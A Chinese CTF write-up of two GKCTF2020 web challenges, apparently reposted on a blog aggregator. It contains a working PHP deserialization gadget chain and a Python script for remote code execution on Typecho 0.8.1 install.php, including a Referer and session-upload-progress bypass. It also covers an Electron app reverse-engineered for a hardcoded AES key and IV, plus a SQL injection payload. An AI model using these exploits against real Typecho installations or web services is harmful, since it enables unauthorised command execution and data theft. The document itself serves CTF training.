[GKCTF2020]web后边两道题(接上)
EzTypecho
有一個附件可以下載,是網站的源碼
打開網站是一個Typecho網站的安裝頁面
果斷搜索漏洞,之前可以考慮看下信息,發現changlog.txt文件中有版本信息-0.8.1
然后上網搜索Typecho漏洞,發現了兩個反序列化漏洞,Typecho反序列化漏洞導致前臺getshell和Typecho反序列化漏洞復現分析,想研究清楚可以去原文看,這里就講利用,我們這里的版本是滿足兩個漏洞的,然后都可以用一個exp生成payload,我們這里使用下面的poc生成payload
<?php class Typecho_Feed {const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);} }class Typecho_Request {private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'system("cat /flag");';$this->_filter[0] = 'assert';} }$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_' );echo base64_encode(serialize($exp)); YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=然后這里還需要繞過限制條件進行訪問
兩個漏洞公共的限制條件
文章中有說需要finish,但是這題并不需要
這里有個referer檢測,繞過方法,加上referer字段,內容就是url
referer: http://5f9ebdd9-c2f2-4f43-a362-1fbda863deb8.node3.buuoj.cn然后就是兩個漏洞分別的限制條件了,先看第一個漏洞
這里比官方漏洞多了個session的判斷,需要繞過,然而前面的session_start();被注釋掉了,所以需要找漏洞繞過,然后最前面還有個finish的get判斷,然后下面是官方題解給的辦法
得知在文件上傳時POST?個與PHP_SESSION_UPLOAD_PROGRESS同名變量時會在session中添加數據,從而繞過session檢測 使用下面的exp打過去 import requestsurl = 'http://5f9ebdd9-c2f2-4f43-a362-1fbda863deb8.node3.buuoj.cn/install.php' files = {'file': 123} headers = {'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6 IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi 4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhv ciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYX JhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlw ZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicH JlZml4IjtzOjQ6InRlc3QiO30=','Referer': 'http://5f9ebdd9-c2f2-4f43-a362-1fbda863deb8.node3.buuoj.cn/install.php'} re = requests.post(url, files=files, headers=headers, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}) print(re.text)再看第二個漏洞
只檢測了start是否有get傳參,這個是比較簡單的,直接get傳參加前面的referer就完了
Node-Exe
hint:程序為electron程序
貼一下官方wp漲漲姿勢
通過安裝之后尋找源文件,或者對可執行文件binwalk,也可發現其中有7zip格式的文件,可以解壓縮獲得源文件,故此過程不再贅述。
安裝后執行程序,填寫靶機地址后,用戶名密碼為admin直接進入。
點擊購買后,兩個按鈕都是沒有用的假flag,故題目flag一定是無法購買的final ?flag。
通過抓包發現,請求除了包含基本的請求體,還有一個token。每次token請求均不同,且更改請求體后token失效,請求也無法重放,所以推斷出token必然是以一定規則在本地生成的。
找到程序所在目錄,確認程序為electron程序后,不難得知網頁文件均打包于.\resources\app.asar下。用node的asar工具解包:
asar extract ./app.asar ./ext/便可得到webpack網站的源文件,查看package.json,發現頁面是基于vue構建的,同時也發現了庫crypto和js-md5。所以即使js源文件被webpack,也可以通過搜索methods關鍵詞找到token生成函數的位置,同時推測token加密使用了md5和另一種加密方式。
此處的methods中包含了“encrypt”,“makeToken”等關鍵詞,定位到此處應為token生成位置,單獨提出對代碼進行格式化,得到加密函數:
不難看出,加密使用了aes加密,轉到調用函數尋找key和iv
makeToken: function(e) {var i = this;return c()(a.a.mark((function t() {var o, r;return a.a.wrap((function(t) {for (;;) switch (t.prev = t.next) {case 0:return "31169fedc9a20ecf","d96adeefaa0102a9",o = f()(n()(e)),t.next = 5,i.encrypt("31169fedc9a20ecf", "d96adeefaa0102a9", o);case 5:return r = t.sent,t.abrupt("return", r);case 7:case "end":return t.stop()}}), t, i)})))()},可以得知加密使用的key和iv,但傳入加密函數的并非傳入生成函數的參數e,而是經過f和n函數處理得到的結果o,所以依然需要尋找函數f和函數n。但此時已經可以根據獲得的key和iv對token進行初步解密了。解密后是一串長度為32的字符,基本可以推斷這是一些信息的md5加密結果。回到renderer.js,格式化整個文檔后,module結構如下:
module.exports = function(e){...}([function(e){}...]);這一格式為js的IIFE函數,這種函數在定義處便執行,其中的變量不可從外部訪問。我們從他的定義函數中尋找未知的函數n
此函數實現的js引擎中的stringify基礎功能的一部分,用于解析字符串。結合請求體,可推斷處調用的函數為toString(),不過此處并不重要,我們先前已經得知使用了md5加密。
接下來分析請求函數:
buyFlag: function(e) {var i = this;return c()(a.a.mark((function t() {var o;return a.a.wrap((function(t) {for (;;) switch (t.prev = t.next) {case 0:return o = {id: e,timestamp: Date.parse(new Date)},t.t0 = i.$http,t.t1 = i.url + "/buyflag",t.t2 = o,t.next = 6,i.makeToken(o);case 6:t.t3 = t.sent,t.t4 = {token: t.t3},t.t5 = {headers: t.t4},t.t6 = function(e) {i.$Modal.info({title: "購買結果",content: e.data[0].flag})},t.t0.post.call(t.t0, t.t1, t.t2, t.t5).then(t.t6);case 11:case "end":return t.stop()}}), t, i)})))()對照得知,傳入makeToken函數的是請求體。至此審計結束,得到了token是由MD5
加密過的帶timestamp的請求體后使用aes加密得到,之后便可自行發起請求。
根據返回的前兩個flag的id分別為1和2,嘗試獲取id為3的flag時會提示無法購買,此時
通過構建payload注入即可獲得flag。
payload:
1"or(id=3)#?
總結
以上是生活随笔為你收集整理的[GKCTF2020]web后边两道题(接上)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ROC 曲线讲解 (Receiver O
- 下一篇: php通过agent判断app,通过us